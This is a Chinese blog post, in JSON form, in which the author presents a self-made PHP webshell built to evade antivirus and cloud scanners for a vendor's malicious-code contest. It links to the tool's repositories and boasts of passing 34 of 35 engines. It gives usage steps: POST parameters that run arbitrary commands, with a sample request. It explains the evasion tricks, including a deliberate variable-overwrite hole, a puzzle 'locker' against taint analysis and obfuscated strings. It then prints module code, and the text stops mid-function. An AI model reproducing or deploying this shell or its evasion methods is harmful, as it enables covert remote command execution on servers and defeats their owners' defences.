{"id":215,"date":"2024-11-13T11:26:00","date_gmt":"2024-11-13T03:26:00","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=215"},"modified":"2024-11-13T11:26:22","modified_gmt":"2024-11-13T03:26:22","slug":"215","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/215\/","title":{"rendered":"\u8bb0\u4e00\u6b21\u591a\u5e73\u53f0\u514d\u6740PHP\u6728\u9a6c\u7684\u5236\u4f5c\u8fc7\u7a0b"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/f058bad3b446e069635667e770d69899.webp?x-image-process=image\/format,png#pic_center\" alt=\"\" \/><\/p>\n<hr \/>\n<blockquote>\n<p><strong><font style=\"color:red;\">\u6ce8\u610f\uff1a\u672c\u6587\u8f6c\u8f7d\u81ea\u672c\u4f5c\u8005\u7a00\u571f\u6398\u91d1\u535a\u5ba2<\/font><\/strong><\/p>\n<p>\u535a\u5ba2\u5730\u5740\uff1a <a href=\"https:\/\/juejin.cn\/user\/3162635869625799\" target=\"_blank\"  rel=\"nofollow\" >\u5fa1\u574219008\u53f7 \u7684\u4e2a\u4eba\u4e3b\u9875 - \u52a8\u6001 - \u6398\u91d1<\/a><\/p>\n<\/blockquote>\n<h1>\u524d\u8a00<\/h1>\n<p>\u6700\u5f00\u59cb\u840c\u751f\u51fa\u5199\u514d\u6740WebShell\u7684\u60f3\u6cd5\u662f\u8fd9\u4e2a\u6708\u521d\u4e0a\u7f51\u65f6\uff0c\u5076\u7136\u770b\u5230\u4e86\u963f\u91cc\u5b89\u5168\u5e94\u6025\u54cd\u5e94\u5e73\u53f0\u7684\u4e00\u5219\u7ebf\u4e0a\u6d3b\u52a8\u201c\u7b2c\u4e09\u5c4a\u4f0f\u9b54\u6076\u610f\u4ee3\u7801\u6311\u6218\u8d5b\u201d\u7684\u62a5\u540d\u516c\u544a\uff0c<strong>\u5927\u81f4\u770b\u4e86\u4e00\u4e0b\u4e4b\u540e\u53d1\u73b0\u8be5\u6bd4\u8d5b\u7684\u5185\u5bb9\u4e3a\u7f16\u5199<\/strong><code>PHP<\/code><strong>\u3001<\/strong><code>JSP<\/code><strong>\u3001<\/strong><code>Python<\/code><strong>\u6216<\/strong><code>Bash<\/code><strong>\u8bed\u8a00\u7684\u540e\u95e8\u4ee3\u7801\uff0c\u82e5\u7f16\u5199\u7684\u4ee3\u7801\u901a\u8fc7\u4e86\u963f\u91cc\u6700\u65b0\u4e00\u4ee3\u68c0\u6d4b\u5f15\u64ce\uff08\u5373\u6311\u6218\u9776\u573a\uff09\u7684\u68c0\u6d4b\uff0c\u5e76\u4e14\u4e0d\u548c\u522b\u7684\u5e08\u5085\u91cd\u590d\u4e4b\u540e\u5c31\u7b97\u6bd4\u8d5b\u901a\u8fc7\u4e86<\/strong>\u3002<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/8e9cd174e652aaa80b52138372fef971.webp?x-image-process=image\/format,png#pic_center\" alt=\"\" \/><\/p>\n<p>\u9274\u4e8e\u6211\u5bf9<code>PHP<\/code>\u8bed\u8a00\u548c\u7f51\u7edc\u5b89\u5168\u65b9\u9762\u8f83\u4e3a\u4e86\u89e3\uff0c\u4e8e\u662f\u6211\u5c31\u62b1\u7740\u8bd5\u4e00\u8bd5\u7684\u5fc3\u6001\u62a5\u540d\u4e86<code>PHP<\/code>\u8d5b\u9053\u3002\u5728\u594b\u6218\u4e864\u5929\u4e4b\u540e\uff0c\u6211\u7f16\u5199\u51fa\u4e86\u4e00\u4e2a<code>215<\/code>\u884c\u7684PHP\u547d\u4ee4\u6267\u884c\u540e\u95e8\uff0c\u5e76\u6210\u529f\u901a\u8fc7\u4e86\u73b0\u6709\u7684\u6570\u5341\u4e2a\u4e91\u67e5\u6740\u5f15\u64ce\u7684\u68c0\u6d4b\u3002\u4f46\u8fd8\u662f\u975e\u5e38\u9057\u61be\uff0c\u5f53\u6bd4\u8d5b\u9776\u573a\u5f00\u653e\u7684\u7b2c\u4e00\u65f6\u95f4\uff0c\u6211\u5c31\u5c06\u540e\u95e8\u4e0a\u4f20\u68c0\u6d4b\uff0c\u6700\u7ec8\u662f\u6ca1\u80fd\u901a\u8fc7\u6bd4\u8d5b\uff0c\u5fc3\u91cc\u4e5f\u662f\u6709\u4e00\u70b9\u70b9\u5931\u843d\u7684\uff08\u6bd5\u7adf\u8fd9\u8fd8\u662f\u6211\u7b2c\u4e00\u6b21\u63a5\u89e6\u514d\u6740 QwQ\uff09\u3002<del>\u2510=\u035f\u035f\u035e\u035e(\uffe3\u30fc\uffe3)\u250c<\/del><\/p>\n<p>\u4e8e\u662f\u5728\u8be2\u95ee\u4e86\u9489\u9489\u7fa4\u91cc\u7684\u8d1f\u8d23\u4eba\u5458\u4e4b\u540e\uff0c\u51b3\u5b9a\u5728\u6bd4\u8d5b\u7ed3\u675f\u4e4b\u540e\u5c06WebShell\u516c\u5e03\u4e86\u51fa\u6765\uff0c\u6743\u5f53\u662f\u4e00\u6b21\u5b66\u4e60\u7ecf\u5386\u4e86\uff1a<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/d79e69b45dd644eeab3fab85c47b5ec5.webp?x-image-process=image\/format,png#pic_center\" alt=\"\" \/><\/p>\n<blockquote>\n<p>\u9879\u76ee\u5730\u5740\uff1a1. <a href=\"https:\/\/gitee.com\/icewolf00\/perlin-puzzle-webshell-php\" target=\"_blank\"  rel=\"nofollow\" >PerlinPuzzle-Webshell-PHP - Gitee<\/a><br \/>\n\u2003\u2003\u2003\u2003\u20032. <a href=\"https:\/\/github.com\/icewolf-sec\/PerlinPuzzle-Webshell-PHP\" target=\"_blank\"  rel=\"nofollow\" >PerlinPuzzle-Webshell-PHP - GitHub<\/a><\/p>\n<\/blockquote>\n<hr \/>\n<h1>\u58f0\u660e<\/h1>\n<blockquote>\n<p><strong>\u672c\u4eba\u4e8e2024\u5e7401\u670819\u65e5\u516c\u5f00\u6b64WebShell\u524d\uff0c\u4ece\u672a\u5411\u4efb\u4f55\u5b89\u5168\u5e73\u53f0\u63d0\u4ea4\u7ed5\u8fc7\u6f0f\u6d1e\u62a5\u544a\uff0c\u4e5f\u4ece\u672a\u9886\u53d6\u4efb\u4f55\u5b89\u5168\u5e73\u53f0\u7684\u6f0f\u6d1e\u8d4f\u91d1\u6216\u5b89\u5168\u5e01\u3002<\/strong><\/p>\n<\/blockquote>\n<hr \/>\n<h1>\u7ed5\u8fc7\u60c5\u51b5<\/h1>\n<blockquote>\n<p>\u6587\u4ef6MD5\u503c\uff1a<code>7c0aeaec06454e588120877fd18cd0c8<\/code><br \/>\n\u6587\u4ef6SHA256\u503c\uff1a<code>f53d5dd4de1b39ba5e5751f42f5e97b1a28383cf81c276151ef6066661f4f2b6<\/code><\/p>\n<\/blockquote>\n<p>\u6700\u540e\u4e00\u6b21\u7ed5\u8fc7\u6d4b\u8bd5\u4e8e<code>2024\u5e7401\u670818\u65e5<\/code>\u8fdb\u884c\uff0c<strong>\u5171\u4f7f\u7528\u4e86<\/strong><code>35<\/code><strong>\u4e2a\u4e91\u67e5\u6740\u5f15\u64ce\u8fdb\u884c\u68c0\u6d4b\uff0c\u6210\u529f\u901a\u8fc7<\/strong><code>34<\/code><strong>\u4e2a\uff0c\u62a5\u6bd2\u7387\u4e3a<\/strong><code>2.9%<\/code>\u3002<\/p>\n<p><strong>\u6210\u529f\u901a\u8fc7\uff1a<\/strong><\/p>\n<ul>\n<li><strong>\u963f\u91cc\u4f0f\u9b54\u5f15\u64ce<\/strong><\/li>\n<li><strong>\u5b89\u6052\u4e91\u6c99\u7bb1<\/strong><\/li>\n<li><strong>\u5927\u5723\u4e91\u6c99\u7bb1\uff08\u98ce\u9669\u8bc4\u5206<\/strong><code>0.19<\/code><strong>\uff09<\/strong><\/li>\n<li><strong>\u6cb3\u9a6cWebShell\u67e5\u6740<\/strong><\/li>\n<li><strong>\u9b54\u76fe\u4e91\u6c99\u7bb1<\/strong><\/li>\n<li><strong>\u5fae\u6b65\u96c6\u6210\u5f15\u64ce\u517126\u4e2a\uff08\u5fae\u8f6f\u3001\u5361\u5df4\u65af\u57fa\u3001IKARUS\u3001Avast\u3001GDATA\u3001\u5b89\u5929\u3001360\u3001NANO\u3001\u745e\u661f\u3001Sophos\u3001WebShell\u4e13\u6740\u3001MicroAPT\u3001OneStatic\u3001ESET\u3001\u5c0f\u7ea2\u4f1e\u3001\u5927\u8718\u86db\u3001AVG\u3001K7\u3001\u6c5f\u6c11\u3001Baidu\u3001TrustBook\u3001\u718a\u732b\u3001ClamAV\u3001Baidu-China\u3001OneAV\u3001MicroNonPE\uff09<\/strong><\/li>\n<li><strong>D\u76fe<\/strong><\/li>\n<li><strong>Windows Defender<\/strong><\/li>\n<li><strong>\u706b\u7ed2\u5b89\u5168\u8f6f\u4ef6<\/strong><\/li>\n<\/ul>\n<p><strong>\u672a\u901a\u8fc7\uff1a<\/strong><\/p>\n<ul>\n<li><strong>\u957f\u4ead\u767e\u5dddWebShell\u68c0\u6d4b\u5e73\u53f0<\/strong><\/li>\n<\/ul>\n<p>\uff08\u518d\u4e34\u65f6\u8865\u4e00\u5f20<code>VirusTotal<\/code>\u7684\u622a\u56fe\uff09<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/572125283f9665cad673dab59b231535.webp?x-image-process=image\/format,png#pic_center\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u4f7f\u7528\u65b9\u6cd5<\/h1>\n<p>\u8981\u4f7f\u7528\u672cWebShell\uff0c\u9700\u8981\u5728<code>POST<\/code>\u65b9\u6cd5\u4e2d\u6dfb\u52a0<code>3<\/code>\u4e2a\u53c2\u6570\uff1a<\/p>\n<ul>\n<li><strong>wpstring \u2003\u2003\u2003\u2003=&gt;\u2003\u2003\u2003 <\/strong><code>ABBCCD<\/code><\/li>\n<li><strong>b \u2003\u2003\u2003\u2003\u2003\u2003\u2003   =&gt;\u2003\u2003\u2003 <\/strong><code>s<\/code><\/li>\n<li><strong>pcs \u2003\u2003\u2003\u2003\u2003\u2003   =&gt;\u2003\u2003\u2003 <\/strong><code>&lt;\u8981\u6267\u884c\u7684\u547d\u4ee4&gt;<\/code><\/li>\n<\/ul>\n<p>\u6bd4\u5982\uff1a<\/p>\n<pre><code class=\"language-plain\">POST \/perlin.php HTTP\/1.1\nHost: 127.0.0.1:7000\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/116.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\nContent-Type: application\/x-www-form-urlencoded\nConnection: close\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nContent-Length: 35\n\nwpstring=ABBCCD&amp;b=s&amp;pcs=hostnamectl<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/be67bcd5de956858d6dd9b4385ff2552.webp?x-image-process=image\/format,png#pic_center\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u8fd0\u884c\u73af\u5883<\/h1>\n<ol>\n<li><strong>\u64cd\u4f5c\u7cfb\u7edf<\/strong>\uff1a<code>Windows<\/code>\u3001<code>Linux<\/code>\u3001<code>macOS<\/code><\/li>\n<li><strong>PHP\u7248\u672c<\/strong>\uff1aPHP <code>5<\/code> \u5168\u7248\u672c\u3001PHP <code>7<\/code> \u5168\u7248\u672c\u3001PHP <code>8<\/code> \u5168\u7248\u672c<\/li>\n<\/ol>\n<hr \/>\n<h1>\u7ed5\u8fc7\u70b9\u4ecb\u7ecd<\/h1>\n<ul>\n<li>\u4f7f\u7528\u523b\u610f\u7f16\u5199\u7684<strong>\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e<\/strong>\u4f20\u9012\u53c2\u6570\uff1b<\/li>\n<li>\u4f7f\u7528\u7ebf\u6027\u4ee3\u6570\u4e2d\u7684<strong>\u5faa\u73af\u7fa4\u8fd0\u7b97<\/strong>\u539f\u7406\u5236\u4f5c\u7a0b\u5e8f\u9501\u5b9a\u5668\uff1b<\/li>\n<li><strong>\u5728\u201c\u67cf\u6797\u566a\u58f0\u201d\u968f\u673a\u6570\u751f\u6210\u7b97\u6cd5\u751f\u6210\u7684\u6570\u7ec4\u4e2d\u6dfb\u52a0\u5173\u952e\u5371\u9669\u5b57\u7b26<\/strong>\uff1b<\/li>\n<li>\u5173\u952e\u5371\u9669\u5b57\u7b26\u7684\u751f\u6210\u5185\u5bb9\u7531\u7a0b\u5e8f\u9501\u5b9a\u5668\u7684\u8fd0\u7b97\u7ed3\u679c\u51b3\u5b9a\uff0c<strong>\u82e5\u8fd0\u7b97\u9519\u8bef\u5219\u65e0\u6cd5\u751f\u6210\u6b63\u786e\u5b57\u7b26<\/strong>\uff1b<\/li>\n<li>\u5728<strong>\u7a0b\u5e8f\u7684\u6267\u884c\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u963b\u65ad\u5668<\/strong>\uff0c\u82e5\u672a\u89e3\u9501\u5219\u963b\u65ad\u51fd\u6570\u8fd4\u56de\u503c\u4f20\u9012<\/li>\n<li>\u4f7f\u7528\u8d85\u957f\u884c\u6ce8\u91ca\u5e72\u6270\u8bcd\u6cd5\u5f15\u64ce\u3002<\/li>\n<\/ul>\n<hr \/>\n<h1>\u6280\u672f\u539f\u7406\u8bb2\u89e3<\/h1>\n<p>\u672cWebShell\u7531<code>4<\/code>\u4e2a\u6a21\u5757\u7ec4\u6210\uff1a<\/p>\n<ul>\n<li><code>InazumaPuzzle<\/code><strong>\u7a0b\u5e8f\u9501\u5b9a\u5668\u7c7b<\/strong><\/li>\n<li><code>PerlinNoise<\/code><strong>\u5371\u9669\u51fd\u6570\u751f\u6210\u4e0e\u6267\u884c\u7c7b<\/strong><\/li>\n<li><strong>\u53d8\u91cf\u4f20\u503c\u8986\u76d6\u6a21\u5757<\/strong><\/li>\n<li><strong>\u4ee3\u7801\u6267\u884c\u963b\u65ad\u6a21\u5757<\/strong><\/li>\n<\/ul>\n<p>\u4e0b\u9762\u5c06\u5bf9\u8fd94\u4e2a\u6a21\u5757\u8fdb\u884c\u9010\u4e00\u8bb2\u89e3\u3002<\/p>\n<h2>\u53d8\u91cf\u4f20\u503c\u8986\u76d6\u6a21\u5757<\/h2>\n<p>\u5728\u5bf9\u8fd9\u4e2a\u6a21\u5757\u8fdb\u884c\u4ecb\u7ecd\u524d\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u4e86\u89e3\u4e00\u4e0b<strong>\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e<\/strong>\u3002<\/p>\n<blockquote>\n<p><strong>\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\uff1a\u53ef\u4ee5\u5c06\u81ea\u5b9a\u4e49\u7684\u53c2\u6570\u503c\u66ff\u6362\u6389\u539f\u6709\u53d8\u91cf\u503c\u7684\u6f0f\u6d1e\u3002<\/strong><\/p>\n<\/blockquote>\n<p>\u5728<code>PHP<\/code>\u7684\u5b9e\u9645\u5f00\u53d1\u4e2d\uff0c\u6211\u4eec\u4f1a\u7ecf\u5e38\u4f7f\u7528\u5982\u4e0b\u8bed\u53e5\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n    foreach ($_REQUEST as $key =&gt; $value) { $$key = $value; }\n?&gt;<\/code><\/pre>\n<p>\u76f8\u4fe1\u5f88\u591a\u719f\u6089<code>PHP<\/code>\u7684\u8bfb\u8005\u90fd\u77e5\u9053\u8fd9\u662f<strong>\u4eceHTTP\u8bf7\u6c42\u4e2d\u6ce8\u518c\u53d8\u91cf<\/strong>\u7684\u4ee3\u7801\u3002<strong>\u8be5\u6bb5\u4ee3\u7801\u4f7f\u7528<\/strong><code>foreach<\/code><strong>\u8bed\u53e5\u904d\u5386\u8bf7\u6c42\u6570\u7ec4\uff0c\u968f\u540e\u6839\u636e<\/strong><code>HTTP<\/code><strong>\u53c2\u6570\u540d\u4f9d\u6b21\u521b\u5efa\u53d8\u91cf\u3002<\/strong><br \/>\n\u4f7f\u7528\u8fd9\u79cd\u65b9\u6cd5\u53ef\u4ee5\u6781\u5927\u5730\u7b80\u4fbf\u6211\u4eec\u5f00\u53d1\u7684\u8fc7\u7a0b\uff0c\u4f46\u5982\u679c\u4e00\u4e9b\u5173\u952e\u7684\u53d8\u91cf\u53ef\u4ee5\u88ab\u653b\u51fb\u8005\u63a7\u5236\uff0c\u53c8\u4f1a\u53d1\u751f\u4ec0\u4e48\u4e8b\u5462\uff1f<\/p>\n<pre><code class=\"language-php\">&lt;?php\n    $security_check = true;\n    foreach ($REQUEST as $key =&gt; $value) { $$key = $value; }\n    if ($security_check) {\n        $id = parse_sql($_POST['id']);\n    } else { $id = $_POST['id']; }\n    $result = $sqlOperator -&gt; query($id);\n    var_dump($result);\n?&gt;<\/code><\/pre>\n<p>\u8fd9\u65f6\u653b\u51fb\u8005\u53ef\u4ee5\u4ece<code>GET<\/code>\u6216<code>POST<\/code>\u63a7\u5236<code>$security_check<\/code>\u53d8\u91cf\u3002<strong>\u5982\u679c\u4f20\u5165\u4e86<\/strong><code>false<\/code><strong>\u503c\uff0c\u90a3\u4e48\u7a0b\u5e8f\u7684SQL\u6ce8\u5165\u68c0\u67e5\u4f1a\u88ab\u5173\u95ed\uff0c\u9020\u6210SQL\u6ce8\u5165\u3002<\/strong>\uff08<strong>\u524d\u63d0\u662f\u5173\u952e\u53d8\u91cf\u7684\u8d4b\u503c\u5b9a\u4e49\u4e0d\u51fa\u73b0\u5728\u53d8\u91cf\u6ce8\u518c\u8bed\u53e5\u4e4b\u540e<\/strong>\uff09<\/p>\n<p>\u672cWebShell\u523b\u610f\u5f15\u5165\u4e86\u4e00\u4e2a\u53d8\u91cf\u8986\u76d6\u8bed\u53e5\uff0c\u4f7f\u7528\u8be5\u8bed\u53e5\u6765\u4f20\u9012\u5173\u952e\u53c2\u6570\uff1a<\/p>\n<pre><code class=\"language-plain\">&lt;?php\n    header(\"Content-type:text\/html;charset=utf-8\");\n    foreach($_POST as $key =&gt; $value) $$key = $value;\n    if (strlen($wpstring) === 0) die(\"\u7b28\u86cb\uff01\u5148\u542f\u52a8\u539f\u795e\u89e3\u4e2a\u7a3b\u59bb\u96f7\u5143\u7d20\u65b9\u5757\u9635\u518d\u6765\u5427\uff01\");\n    $puzz_writeup = array();\n    for ($i = 0; $i &lt; strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]); \n?&gt;<\/code><\/pre>\n<p><strong>\u5728\u4e0a\u8ff0\u4ee3\u7801\u4e2d\uff0c\u4f7f\u7528<\/strong><code>foreach<\/code><strong>\u8bed\u53e5\u904d\u5386\u8bf7\u6c42\u6570\u7ec4\u6ce8\u518c\u53d8\u91cf\uff0c\u968f\u540e\u9a8c\u8bc1\u7a0b\u5e8f\u89e3\u9501\u7b54\u6848\u7684\u957f\u5ea6\uff0c\u63a5\u7740\u5c06\u89e3\u9501\u7b54\u6848\u590d\u5236\u5230\u6570\u7ec4\u91cc\u3002\u8fd9\u6837\u7a0b\u5e8f\u9501\u5b9a\u5668\u5c31\u53ef\u4ee5\u4f7f\u7528\u89e3\u9501\u7b54\u6848\u4e86\u3002<\/strong><\/p>\n<h2>\u4ee3\u7801\u6267\u884c\u963b\u65ad\u6a21\u5757<\/h2>\n<p>\u8be5\u6a21\u5757\u7531<code>pause()<\/code>\u51fd\u6570\u7ec4\u6210\uff0c<strong>\u8be5\u51fd\u6570\u63a5\u6536\u7a0b\u5e8f\u6d41\u7a0b\u4e2d\u4f20\u6765\u7684\u8fd4\u56de\u503c\uff0c\u68c0\u67e5\u7a0b\u5e8f\u7684\u89e3\u9501\u72b6\u6001\uff0c\u82e5\u7a0b\u5e8f\u89e3\u9501\u5219\u5c06\u8fd4\u56de\u503c\u4f20\u7ed9\u4e0b\u9762\u7684\u7a0b\u5e8f\u6d41\u7a0b\uff0c\u82e5\u672a\u89e3\u9501\u5219\u4f7f\u7528<\/strong><code>die()<\/code><strong>\u51fd\u6570\u9000\u51fa\u7a0b\u5e8f<\/strong>\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n    function pause($obj) {\n        global $appor5nnb;\n        if (!$appor5nnb -&gt; getLockerStatus()) die();\n        return $obj;\n    }\n?&gt;<\/code><\/pre>\n<p>\u8be5\u6a21\u5757\u4e3b\u8981\u7528\u4e8e\u5bf9\u6297\u4e91\u67e5\u6740\u5f15\u64ce\u7684\u52a8\u6001\u6c61\u70b9\u5206\u6790\u3002<\/p>\n<h2>InazumaPuzzle\u7a0b\u5e8f\u9501\u5b9a\u5668<\/h2>\n<p>\u4e3a\u4e86\u5bf9\u6297\u4e91\u67e5\u6740\u5f15\u64ce\u7684\u52a8\u6001\u6c61\u70b9\u5206\u6790\uff0c\u672c\u7a0b\u5e8f\u5b9e\u73b0\u4e86\u4e00\u4e2a<strong>\u7ebf\u6027\u4ee3\u6570\u5faa\u73af\u7fa4\u8fd0\u7b97\u6a21\u62df\u5668<\/strong>\uff0c<strong>\u8be5\u6a21\u5757\u63a5\u6536\u4e00\u4e2a<\/strong><code>PHP<\/code><strong>\u6570\u7ec4\u5f62\u5f0f\u7684\u4f20\u5165\u503c\uff0c\u968f\u540e\u4f9d\u636e\u4f20\u5165\u503c\u5bf9\u5bf9\u8c61\u4e2d\u76844\u4e2a\u6210\u5458\u53d8\u91cf\u6267\u884c\u5faa\u73af\u7fa4\u8fd0\u7b97\uff0c\u5f53\u8fd0\u7b97\u7ed3\u675f\u4e4b\u540e\u5982\u679c4\u4e2a\u6210\u5458\u53d8\u91cf\u7684\u503c\u76f8\u7b49\uff0c\u5373\u89c6\u4e3a\u7a0b\u5e8f\u89e3\u9501<\/strong>\u3002<\/p>\n<p>\u672c\u6a21\u5757\u7684\u8bbe\u8ba1\u7075\u611f\u6765\u6e90\u4e8e\u5f00\u653e\u4e16\u754c\u6e38\u620f\u300a\u539f\u795e\u300b\u4e2d\u4e8e\u7a3b\u59bb\u5730\u533a\u5883\u5185\u5e7f\u6cdb\u5b58\u5728\u7684\u4e00\u79cd\u5927\u4e16\u754c\u89e3\u8c1c\u673a\u5173\u9635\u5217\u201c<strong>\u673a\u5173\u7acb\u65b9<\/strong>\u201d\u3002<strong>\u8be5\u673a\u5173\u9635\u5217\u7531\u6570\u4e2a\u5c0f\u578b\u7acb\u65b9\u673a\u5173\u7ec4\u6210\uff0c\u5f53\u5176\u4e2d\u4e00\u4e2a\u673a\u5173\u53d7\u5230\u51fb\u6253\u65f6\uff0c\u4f1a\u8054\u52a8\u9635\u5217\u5185\u7684\u5176\u5b83\u7ec4\u6210\u673a\u5173\u4e00\u8d77\u8f6c\u52a8\uff0c\u5176\u672c\u8d28\u662f\u5b9e\u73b0\u4e86\u4e00\u4e2a\u7ebf\u6027\u4ee3\u6570\u4e2d\u201c\u5faa\u73af\u7fa4\u201d\u7684\u8fd0\u7b97\u6a21\u62df\u7cfb\u7edf<\/strong>\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/748c363e9062be23fc1ad15a2f861bf8.png#pic_center\" alt=\"\" \/><\/p>\n<p>\u5c06\u67d0\u4e2a\u89e3\u8c1c\u673a\u5173\u8f6c\u6362\u4e3a\u7ebf\u6027\u4ee3\u6570\u65b9\u7a0b\uff0c\u5982\u4e0b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1731468297327-f9c1ec28-a355-447b-aadf-676d21172d31.png\" alt=\"\" \/><\/p>\n<p>\u8fd9\u65f6\u6211\u4eec\u53ef\u4ee5\u6839\u636e<strong>\u9ad8\u65af-\u82e5\u5c14\u5f53\u6d88\u5143\u6cd5<\/strong>\u5f97\u51fa\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1731468306311-7a4982d6-33f5-4e2f-bca2-e50916598d89.png\" alt=\"\" \/><\/p>\n<p>\u4f5c\u8005\u4f9d\u7167\u4e0a\u8ff0\u5185\u5bb9\u7f16\u5199\u4e86\u7a0b\u5e8f\u89e3\u9501\u6a21\u5757\u7c7b<code>InazumaPuzzle<\/code>\uff0c<strong>\u8be5\u7c7b\u4e2d\u67094\u4e2a\u5173\u952e\u7c7b\u6210\u5458\u53d8\u91cf<\/strong><code>blockA<\/code><strong>\u3001<\/strong><code>blockB<\/code><strong>\u3001<\/strong><code>blockC<\/code><strong>\u3001<\/strong><code>blockD<\/code><strong>\uff0c\u7528\u4e8e\u5b58\u653e\u4e0a\u56fe\u4e2d4\u4e2a\u673a\u5173\u65b9\u5757\u7684\u72b6\u6001<\/strong>\uff1b\u7c7b\u4e2d\u8fd8\u6709\u5982\u4e0b\u5173\u952e\u6210\u5458\u51fd\u6570\uff1a<\/p>\n<ul>\n<li><code>setBackBlock()<\/code><\/li>\n<li><code>hit()<\/code><\/li>\n<li><code>__AFG50CE4_RG1()<\/code><\/li>\n<li><code>getLockerStatus()<\/code><\/li>\n<\/ul>\n<p>\u5176\u4e2d\uff0c<code>setBackBlock()<\/code>\u51fd\u6570\u7684\u4f5c\u7528\u4e3a<strong>\u5f53\u8981\u64cd\u4f5c\u7684\u6210\u5458\u53d8\u91cf\u6570\u503c\u5373\u5c06\u8d85\u8fc7\u5faa\u73af\u7fa4\u6700\u5927\u6570\u503c<\/strong><code>$maxType<\/code><strong>\u65f6\uff0c\u5c06\u5176\u590d\u4f4d\u4e3a\u5faa\u73af\u7fa4\u6700\u5c0f\u6570\u503c<\/strong><code>$setType<\/code>\uff0c\u5176\u4ee3\u7801\u5982\u4e0b\uff1a<strong>\uff08\u6700\u5927\u6570\u503c\u4e3a<\/strong><code>2<\/code><strong>\uff0c\u6700\u5c0f\u6570\u503c\u4e3a<\/strong><code>0<\/code><strong>\uff09<\/strong><\/p>\n<pre><code class=\"language-php\">&lt;?php\nprivate function setBackBlock($block){\n    $setType = $this-&gt; MIN_ENUM;\n    $maxType = $this -&gt; MAX_ENUM;\n    switch ($block) {\n        case 'A':\n            if ($this -&gt; blockA == $maxType) {\n                $this -&gt; blockA = $setType;\n                return true;\n            } else return false;\n        case 'B':\n            if ($this -&gt; blockB== $maxType) {\n                $this -&gt; blockB = $setType;\n                return true;\n            } else return false;\n        case 'C':\n            if ($this-&gt; blockC == $maxType){\n                $this -&gt; blockC = $setType;\n                return true;\n            } else return false;\n        case 'D':\n            if ($this -&gt; blockD== $maxType) {\n                $this -&gt; blockD = $setType;\n                return true;\n            } else return false;\n        default: throw new Exception(\"bad_args\", 1);\n    }\n}\n?&gt;<\/code><\/pre>\n<p><strong>\u53ef\u4ee5\u770b\u5230\u5982\u679c\u6210\u5458\u53d8\u91cf\u7684\u6574\u6570\u503c\u5982\u679c\u672a\u8fbe\u5230\u4e34\u754c\u503c\uff0c\u8fd4\u56de<\/strong><code>false<\/code><strong>\uff0c\u4e0d\u64cd\u4f5c\u6210\u5458\u53d8\u91cf\uff1b\u5982\u679c\u8fbe\u5230\u4e34\u754c\u503c\uff0c\u5219\u5c06\u5176\u590d\u4f4d\u540e\u8fd4\u56de<\/strong><code>true<\/code><strong>\u3002<\/strong><\/p>\n<p><code>hit()<\/code>\u51fd\u6570\u7684\u529f\u80fd\u6839\u636e\u539f\u7406\u56fe\u516c\u5f0f\u4e2d\u7684\u91cf<code>Aj<\/code>\u7f16\u5199\uff0c<strong>\u5b9e\u6a21\u62df\u73b0\u4e86\u201c\u51fb\u6253\u4e00\u4e2a\u65b9\u5757\u5e26\u52a8\u5468\u56f4\u65b9\u5757\u8f6c\u52a8\u201d\u7684\u529f\u80fd<\/strong>\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\nprivate function hit($blockIdx) {\n    global $text;\n    $text = urldecode(\"%6e%69%6c%72%65%70%5f%46%46%49%44\");\n    switch ($blockIdx) {\n        case \"A\":\n            if (!$this -&gt; setBackBlock(\"A\")) $this -&gt; blockA += 1;\n            if (!$this -&gt; setBackBlock(\"B\")) $this -&gt; blockB += 1;\n            break;\n        case \"B\":\n            if (!$this -&gt; setBackBlock(\"A\")) $this -&gt; blockA += 1;\n            if (!$this -&gt; setBackBlock(\"B\")) $this -&gt; blockB += 1;\n            if (!$this -&gt; setBackBlock(\"C\")) $this -&gt; blockC += 1;\n            break;\n        case \"C\":\n            if (!$this -&gt; setBackBlock(\"B\")) $this -&gt; blockB += 1;\n            if (!$this -&gt; setBackBlock(\"C\")) $this -&gt; blockC += 1;\n            if (!$this -&gt; setBackBlock(\"D\")) $this -&gt; blockD += 1;\n            break;\n        case \"D\":\n            if (!$this -&gt; setBackBlock(\"C\")) $this -&gt; blockC += 1;\n            if (!$this -&gt; setBackBlock(\"D\")) $this -&gt; blockD += 1;\n            break;\n        default: throw new Exception(\"bad_args\", 1);\n        